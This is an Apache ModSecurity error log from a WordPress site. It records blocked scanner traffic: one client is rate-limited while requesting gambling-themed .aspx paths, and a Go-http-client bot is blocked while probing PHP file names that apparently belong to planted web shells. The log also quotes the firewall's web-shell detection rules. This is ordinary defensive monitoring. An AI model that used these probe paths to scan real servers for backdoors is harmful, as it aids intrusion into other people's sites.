[Sat Apr 11 11:07:36.572706 2026] [:error] [pid 2297:tid 2315] [client 62.84.185.55:22580] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adm6-LXJS-Jji11jZk1-mwAAAQ4"]
[Sat Apr 11 11:07:43.402393 2026] [:error] [pid 2188:tid 2272] [client 62.84.185.55:10430] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adm6_4DhDA-Xtn2nRSfEFgAAANA"]
[Sat Apr 11 11:07:48.387718 2026] [:error] [pid 2186:tid 2210] [client 62.84.185.55:59962] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adm7BMibnOEEvcO8wPLQUQAAAJQ"]
[Sat Apr 11 11:07:55.955034 2026] [:error] [pid 2188:tid 2265] [client 62.84.185.55:59964] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adm7C4DhDA-Xtn2nRSfEUwAAAMk"]
[Sat Apr 11 11:08:04.474544 2026] [:error] [pid 2187:tid 2231] [client 62.84.185.55:57954] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adm7FA4J29_qQi0FkjhSCAAAAAM"]
[Sat Apr 11 11:08:10.506963 2026] [:error] [pid 2188:tid 2259] [client 62.84.185.55:13980] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adm7GoDhDA-Xtn2nRSfEoQAAAMM"]
[Sat Apr 11 11:08:15.609935 2026] [:error] [pid 2187:tid 2237] [client 62.84.185.55:13984] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adm7Hw4J29_qQi0FkjhSRQAAAAk"]
[Sat Apr 11 11:08:23.685226 2026] [:error] [pid 2297:tid 2316] [client 62.84.185.55:57866] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adm7J7XJS-Jji11jZk1_dQAAAQ8"]
[Sat Apr 11 11:09:58.372586 2026] [:error] [pid 2297:tid 2322] [client 62.84.185.55:22654] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "adm7hrXJS-Jji11jZk2BvAAAARU"]
[Sat Apr 11 11:10:08.911291 2026] [:error] [pid 2297:tid 2318] [client 62.84.185.55:22664] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adm7kLXJS-Jji11jZk2B5gAAARE"]
[Sat Apr 11 11:10:14.472869 2026] [:error] [pid 2187:tid 2227] [client 62.84.185.55:35494] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adm7lg4J29_qQi0FkjhTlAAAAAE"]
[Sat Apr 11 11:10:20.412037 2026] [:error] [pid 2188:tid 2272] [client 62.84.185.55:23572] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "adm7nIDhDA-Xtn2nRSfGNQAAANA"]
[Sat Apr 11 11:10:25.380867 2026] [:error] [pid 2297:tid 2305] [client 62.84.185.55:23574] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adm7obXJS-Jji11jZk2CMQAAAQQ"]
[Sat Apr 11 11:10:33.322101 2026] [:error] [pid 2188:tid 2280] [client 62.84.185.55:11518] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adm7qYDhDA-Xtn2nRSfGSQAAANg"]
[Sat Apr 11 11:10:38.367391 2026] [:error] [pid 2297:tid 2319] [client 62.84.185.55:11530] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adm7rrXJS-Jji11jZk2CZgAAARI"]
[Sat Apr 11 11:10:43.795883 2026] [:error] [pid 2188:tid 2265] [client 62.84.185.55:55966] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adm7s4DhDA-Xtn2nRSfGYgAAAMk"]
[Sat Apr 11 11:12:32.886475 2026] [:error] [pid 2297:tid 2314] [client 62.84.185.55:20848] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adm8ILXJS-Jji11jZk2E2gAAAQ0"]
[Sat Apr 11 11:12:37.514479 2026] [:error] [pid 2186:tid 2210] [client 62.84.185.55:20852] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adm8JcibnOEEvcO8wPLS3AAAAJQ"]
[Sat Apr 11 11:12:42.797860 2026] [:error] [pid 2297:tid 2319] [client 62.84.185.55:40600] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adm8KrXJS-Jji11jZk2FCAAAARI"]
[Sat Apr 11 11:12:47.082071 2026] [:error] [pid 2297:tid 2310] [client 62.84.185.55:40602] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adm8L7XJS-Jji11jZk2FEwAAAQk"]
[Sat Apr 11 11:12:53.105771 2026] [:error] [pid 2297:tid 2304] [client 62.84.185.55:48258] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adm8NbXJS-Jji11jZk2FJAAAAQM"]
[Sat Apr 11 11:12:59.687709 2026] [:error] [pid 2186:tid 2199] [client 62.84.185.55:43432] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adm8O8ibnOEEvcO8wPLTDgAAAIk"]
[Sat Apr 11 11:13:05.981626 2026] [:error] [pid 2186:tid 2196] [client 62.84.185.55:43436] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adm8QcibnOEEvcO8wPLTQQAAAIY"]
[Sat Apr 11 11:13:10.800083 2026] [:error] [pid 2188:tid 2272] [client 62.84.185.55:59608] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adm8RoDhDA-Xtn2nRSfINgAAANA"]
[Sat Apr 11 11:13:14.953386 2026] [:error] [pid 2297:tid 2310] [client 62.84.185.55:59614] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adm8SrXJS-Jji11jZk2FbAAAAQk"]
[Sat Apr 11 11:13:20.877943 2026] [:error] [pid 2188:tid 2270] [client 62.84.185.55:43022] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adm8UIDhDA-Xtn2nRSfIVgAAAM4"]
[Sat Apr 11 11:15:00.393200 2026] [:error] [pid 2297:tid 2319] [client 62.84.185.55:41342] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adm8tLXJS-Jji11jZk2HmAAAARI"]
[Sat Apr 11 11:15:04.620947 2026] [:error] [pid 2187:tid 2243] [client 62.84.185.55:41354] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adm8uA4J29_qQi0FkjhW0AAAAA8"]
[Sat Apr 11 11:15:15.603694 2026] [:error] [pid 2297:tid 2303] [client 62.84.185.55:35292] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adm8w7XJS-Jji11jZk2H_wAAAQI"]
[Sat Apr 11 11:15:21.905215 2026] [:error] [pid 2188:tid 2258] [client 62.84.185.55:17172] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adm8yYDhDA-Xtn2nRSfKZAAAAMI"]
[Sat Apr 11 11:15:26.664909 2026] [:error] [pid 2187:tid 2248] [client 62.84.185.55:17186] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adm8zg4J29_qQi0FkjhXCgAAABQ"]
[Sat Apr 11 11:15:32.276283 2026] [:error] [pid 2297:tid 2321] [client 62.84.185.55:54084] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adm81LXJS-Jji11jZk2IUAAAARQ"]
[Sat Apr 11 11:15:37.962604 2026] [:error] [pid 2297:tid 2322] [client 62.84.185.55:1790] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adm82bXJS-Jji11jZk2IagAAARU"]
[Sat Apr 11 11:15:42.479513 2026] [:error] [pid 2297:tid 2305] [client 62.84.185.55:1800] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adm83rXJS-Jji11jZk2IdwAAAQQ"]
[Sat Apr 11 11:15:48.695108 2026] [:error] [pid 2297:tid 2316] [client 62.84.185.55:43048] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adm85LXJS-Jji11jZk2IkgAAAQ8"]
[Sat Apr 11 11:17:15.300766 2026] [:error] [pid 2297:tid 2312] [client 62.84.185.55:57658] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adm9O7XJS-Jji11jZk2KBAAAAQs"]
[Sat Apr 11 14:11:37.989402 2026] [:error] [pid 2186:tid 2190] [client 157.15.40.61:56422] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "adnmGcibnOEEvcO8wPL9VwAAAIA"]
[Sat Apr 11 14:11:39.260633 2026] [:error] [pid 2187:tid 2244] [client 157.15.40.61:56537] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/style.php"] [unique_id "adnmGw4J29_qQi0FkjiIOwAAABA"]
[Sat Apr 11 14:11:39.529138 2026] [:error] [pid 2297:tid 2321] [client 157.15.40.61:56726] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "adnmG7XJS-Jji11jZk3ZfgAAARQ"]
[Sat Apr 11 14:11:40.331397 2026] [:error] [pid 2188:tid 2258] [client 157.15.40.61:56901] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/style.php"] [unique_id "adnmHIDhDA-Xtn2nRScJygAAAMI"]
[Sat Apr 11 14:11:41.740130 2026] [:error] [pid 11067:tid 11091] [client 157.15.40.61:57146] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style.php"] [unique_id "adnmHcW3w7N67R04YCKRMAAAAFY"]
[Sat Apr 11 14:11:43.008578 2026] [:error] [pid 2188:tid 2274] [client 157.15.40.61:57185] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "adnmH4DhDA-Xtn2nRScJ_QAAANI"]
[Sat Apr 11 14:11:43.666879 2026] [:error] [pid 2297:tid 2322] [client 157.15.40.61:57487] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "adnmH7XJS-Jji11jZk3aBAAAARU"]
[Sat Apr 11 14:11:43.924099 2026] [:error] [pid 2186:tid 2191] [client 157.15.40.61:57543] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "adnmH8ibnOEEvcO8wPL91QAAAIE"]
[Sat Apr 11 14:11:46.292687 2026] [:error] [pid 2297:tid 2317] [client 157.15.40.61:57595] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adnmIrXJS-Jji11jZk3afAAAARA"]
[Sat Apr 11 14:11:46.945476 2026] [:error] [pid 2297:tid 2322] [client 157.15.40.61:58061] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "adnmIrXJS-Jji11jZk3anwAAARU"]
[Sat Apr 11 14:11:48.074946 2026] [:error] [pid 2187:tid 2247] [client 157.15.40.61:58226] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "adnmJA4J29_qQi0FkjiIwgAAABM"]
[Sat Apr 11 14:11:48.820159 2026] [:error] [pid 2297:tid 2317] [client 157.15.40.61:58362] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/blurbs.php"] [unique_id "adnmJLXJS-Jji11jZk3a0QAAARA"]
[Sat Apr 11 14:11:50.079532 2026] [:error] [pid 2188:tid 2261] [client 157.15.40.61:58622] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "adnmJoDhDA-Xtn2nRScKqwAAAMU"]
[Sat Apr 11 14:11:51.325775 2026] [:error] [pid 2188:tid 2258] [client 157.15.40.61:58913] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "adnmJ4DhDA-Xtn2nRScK-wAAAMI"]
[Sat Apr 11 14:11:52.574831 2026] [:error] [pid 2188:tid 2279] [client 157.15.40.61:58974] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/shelp.php"] [unique_id "adnmKIDhDA-Xtn2nRScLJQAAANc"]
[Sat Apr 11 14:11:52.836947 2026] [:error] [pid 2186:tid 2193] [client 157.15.40.61:59220] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "adnmKMibnOEEvcO8wPL-SgAAAIM"]
[Sat Apr 11 14:11:53.091277 2026] [:error] [pid 2187:tid 2234] [client 157.15.40.61:59268] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "adnmKQ4J29_qQi0FkjiJFAAAAAY"]
[Sat Apr 11 14:11:53.347008 2026] [:error] [pid 11067:tid 11091] [client 157.15.40.61:59336] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adnmKcW3w7N67R04YCKTowAAAFY"]
[Sat Apr 11 14:11:54.635168 2026] [:error] [pid 2297:tid 2324] [client 157.15.40.61:59377] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/file2.php"] [unique_id "adnmKrXJS-Jji11jZk3bxgAAARc"]
